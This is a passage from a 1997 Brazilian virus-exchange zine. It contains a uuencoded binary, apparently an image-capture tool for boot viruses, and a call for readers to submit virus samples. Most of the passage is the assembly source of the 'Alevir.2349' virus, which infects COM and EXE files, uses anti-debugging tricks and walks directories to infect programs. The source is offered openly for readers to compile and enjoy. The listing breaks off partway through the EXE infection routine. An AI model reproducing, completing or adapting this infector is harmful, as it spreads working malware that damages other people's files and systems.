MABFYW\'-X1\F1E<E"%>NVW5OO`<76]Z4PIN'8$43K`)]\Q($?P3W1#8)U!!\
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
L.3DR*0T*1&ES=')I8G5I9&\@<&]R.B!.:6U?0G5S0$AO=&UA:6PN8V]M#0H'
`
end
;;;;;;;;;;;;;;;;;;;;;;; Img.uue ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

        Tipo se voc tiver ai algum disquete que tenha algum vrus de 
    Boot no menino, no exite em usar o IMG.EXE e mandar uma imagem 
    do bichinho pra gente...

        Valeu !


 
                               /  __           ___          
                        |  /  |  |__)  |   |  (__           
                        |/    |  |  \  |___|  ___)          
                                                                            
 
                                                                            
   
     5 - Alevir 2349 (Codigo Fonte)
   
                                                                            
        Como prometido, aqui esta um virus de um companheiro brasileiro que
   fez muito sucesso em Sao Paulo creio que em quase todas BBSs por aqui, em 
   especial na MOURA BBS (Sao Paulo - 011 50716574) e infelizmente por minha 
   culpa, meu computador estava infectado com o Alevir (que veio em um slide 
   da bbs Coringa (Do proprio Alevirus) ), eu nem tinha me ligado, so quando 
   o Moura (Sysop da Moura BBS) veio me dizer que o Slide da BBS dele estava 
   infectado por um virus, ai que caiu a casa, pois quem fez o slide foi eu, 
   ai entrei em contato com o Alevirus, que me tratou muito bem (Trocamos i-
   deia por telefone), e ele me aconselhou a fazer o Boomlab excluir o slide 
   dos arquivos do BBS. Tal providencia foi tomada, e o F-PROT criou o anti-
   virus. Infelizmente minha moral foi pas pica, se fosse um negocio por 
   querer, colocaria um virus meu e teria na bbs um apelido diferente, nao 
   meu nome !!!
        Bom chega de papo e vamos ao que interessa ...
                                                                            
                                                                            
TXT retirado do zine quebra de sigilo .
   ---------------------------------------------------------------------
    -=[ Edicao No.01 -=#=- Abril/97 -=#=- By [RiCk> CraZy & Alevirus ]=-
   ---------------------------------------------------------------------
-=[+]================================================================[+]=-
Virus de Alevirus
                                                                            
                                Alevir.2349
                          ==========================
                                                                            
Este e' o fonte de um virus feito por mim "Alevirus" ! Se divirtam... !
Ah, fico devendo pra voces os flags do F-Prot, quem quiser passo por mail !
Valeu !
Ah, SE VOCE POSSUI UM GRAU DE CONHECIMENTO EM ASSEMBLER, OU ALGUMA LINGUAGEM
DE BAIXO NIVEL, POR FAVOR ME ESCREVA, POIS PROCURO ALGUEM PARA QUE JUNTO
COMIGO POSSAMOS FAZER UM GERADOR DE VIRUS NACIONAL !
INTERESSADOS ME ESCREVAM :
                                                                            
joker@mandic.com.br            { *** new mail : fernanda88@hotmail.com *** }
                                                                            


      __   __ /  __   .   __    __          __   __        ___   __
     |    |  |  |  \  |  | _   |  |        |_   |  |  |\|   |   |_
     |__  |__|  |__/  |  |__|  |__|        |    |__|  | |   |   |__
                                                                             


                                                                            
; Autor : Jose Alexandre Rodriguez
; Handle : Alevirus 
; Local de Criacao : Sao Caetano do Sul
; Estilo : Path Loader EXE , COM Infector e COMMAND.COM
; Tecnicas Ant- : TBAV 7.0, F-PROT 225, SCAN?? ISSO E ANT-VIRUS? HAHA! 
; Data de Criacao : Nao Lembro alias meus dois utimos tambem!
; Data de Acao  :  HEHE VE AI MEU!
; Gente fico devendo os flags do F-PROT. Quem quiser passo por Mail!
; Por Favor pelo amor de DEUS nao mude o FONTE!! Acho que voces estao cansados
; de ver isso ne? HAHAHAHAHAHAHAHA se estou publicando e pq pode mudar a 
; vontade!!
; Brasil 1997 t+++++ Gente Abracao!!
; Use o TASM 3.0 para compilar!
;A
VACA            equ     0AFCFh
;e o
FRANGO          equ     056ACh

code            segment
                org     100h
                assume  cs:code,ds:code,es:code
                                                                            
start:
                db      0E9h,3,0         
host:
                db      0CDh,20h,0       
virus_begin:
                call    $ + 3            
                pop     bp
                sub     bp,offset $ - 1
                int     3

                push    ds es

                cli
                mov     ax,VACA          
                push    ax
                pop     ax
                dec     sp
                dec     sp
                pop     bx
                cmp     ax,bx
                je      no_trace
                hlt

no_trace:
                sti
                in      al,21h           
                xor     al,2
                out     21h,al
                xor     al,2
                out     21h,al

                push    cs
                pop     ds
                lea     dx,[bp + offset new_DTA]
                mov     ah,1Ah
                int     21h

                push    [bp + exe_cs]
                push    [bp + exe_ip]
                push    [bp + exe_ss]
                push    [bp + exe_sp]
                call    traverse

                call    activate

                pop     [bp + exe_sp]
                pop     [bp + exe_ss]
                pop     [bp + exe_ip]
                pop     [bp + exe_cs]
                pop     es ds
                mov     dx,80h
                mov     ah,1Ah
                int     21h

                cmp     sp,FRANGO               
                je      exe_exit



com_exit:
                lea     si,[bp + host]          
                mov     di,100h
                push    di
                movsw
                movsb

                call    fix_regs                
                ret                             
exe_exit:
                mov     ax,ds                   
                add     ax,10h
                push    ax
                add     ax,cs:[bp + exe_cs]
                mov     cs:[bp + return_cs],ax

                mov     ax,cs:[bp + exe_ip]
                mov     cs:[bp + return_ip],ax

                pop     ax
                add     ax,cs:[bp + exe_ss]       
                cli
                mov     ss,ax
                mov     sp,cs:[bp + exe_sp]

                call    fix_regs                
                sti

                db      0EAh                    
return_ip       dw      0
return_cs       dw      0

exe_cs          dw      -16                     
exe_ip          dw      103h
exe_sp          dw      -2                      
exe_ss          dw      -16


fix_regs:
                xor     ax,ax
                cwd
                xor     bx,bx
                mov     si,100h
                call     cu

cu:
                xor     di,di
                xor     bp,bp
                ret


traverse:
                sub     sp,64                   
                mov     si,sp
                inc     si
                mov     ah,47h                  
                xor     dl,dl
                push    ds
                push    ss
                pop     ds
                int     21h

                pop     ds
                dec     si
                mov     byte ptr ss:[si],'\' 

next_dir:
                call    infect_dir

                lea     dx,[bp + outer]       
                mov     ah,3Bh
                int     21h
                jnc     next_dir

traverse_done:
                add     sp,64                 
                mov     dx,si
                push    ds
                push    ss
                pop     ds
                mov     ah,3Bh
                int     21h
                pop     ds
                ret

infect_dir:
                mov     ah,4Eh
                inc     byte ptr [bp + offset find_me]
                lea     dx,[bp + find_me]
                int     21h
                dec     byte ptr [bp + offset find_me]
                jc      infect_done

next_file:
                lea     dx,[bp + new_DTA + 1Eh]
                call    file_open
                mov     ah,4Fh
                int     21h
                jnc     next_file

infect_done:
                ret

file_open:
                push    ax cx di es
                call    get_extension
                cmp     [di],'OC'             
                jne     perhaps_exe             
                cmp     byte ptr [di + 2],'M'
                jne     not_prog
                jmp     a_program
perhaps_exe:
                cmp     [di],'XE'               
                jne     not_prog
                cmp     byte ptr [di + 2],'E'
                jne     not_prog
a_program:
                pop     es di cx ax
                jmp     execute                 
not_prog:
                pop     es di cx ax
                ret

execute:
                push    si

                xor     ax,ax                   
                mov     es,ax                   
                lea     ax,[bp + int_24]
                mov     es:[24h * 4],ax
                mov     es:[24h * 4 + 2],cs

                mov     ax,4300h                
                inc     al
                int     21h

                push    cx dx ds
                xor     cx,cx
                call    set_attributes

                mov     ax,3D02h                
                int     21h
                jc      cant_open
                xchg    bx,ax

                mov     ax,5700h                
                inc     al
                int     21h
                push    cx dx
                mov     ah,3Fh
                mov     cx,28
                lea     dx,[bp + read_buffer]
                int     21h

                cmp     byte ptr [bp + read_buffer],'M'
                je      infect_exe              

                mov     al,2                    
                call    move_file_ptr

                sub     dx,VIRUS_SIZE + 3       
                cmp     dx,word ptr [bp + read_buffer + 1]
                je      dont_infect

                add     dx,VIRUS_SIZE + 3
                mov     word ptr [bp + new_jump + 1],dx

                lea     dx,[bp + read_buffer]  
                int     21h
                mov     ah,40h                 
                mov     cx,VIRUS_SIZE
                lea     dx,[bp + virus_begin]
                int     21h

                xor     al,al                  
                call    move_file_ptr

                lea     dx,[bp + new_jump]
                int     21h

fix_date_time:
                pop     dx cx
                mov     ax,5700h               
                inc     al
                int     21h

close:
                pop     ds dx cx               
                call    set_attributes

                mov     ah,3Eh                 
                int     21h

cant_open:
                pop     si
                ret


set_attributes:
                mov     ax,4300h
                inc     al
                int     21h
                ret

dont_infect:
                pop     cx dx                  
                jmp     close



move_file_ptr:
                mov     ah,42h                 
                cwd
                xor     cx,cx
                int     21h

                mov     dx,ax                  
                mov     ah,40h                 
                mov     cx,3
                ret
infect_exe:
                cmp     word ptr [bp + read_buffer + 26],0
                jne     dont_infect            

                cmp     word ptr [bp + read_buffer + 16],FRANGO
                je      dont_infect            

                les    ax,dword ptr [bp + read_buffer + 20]
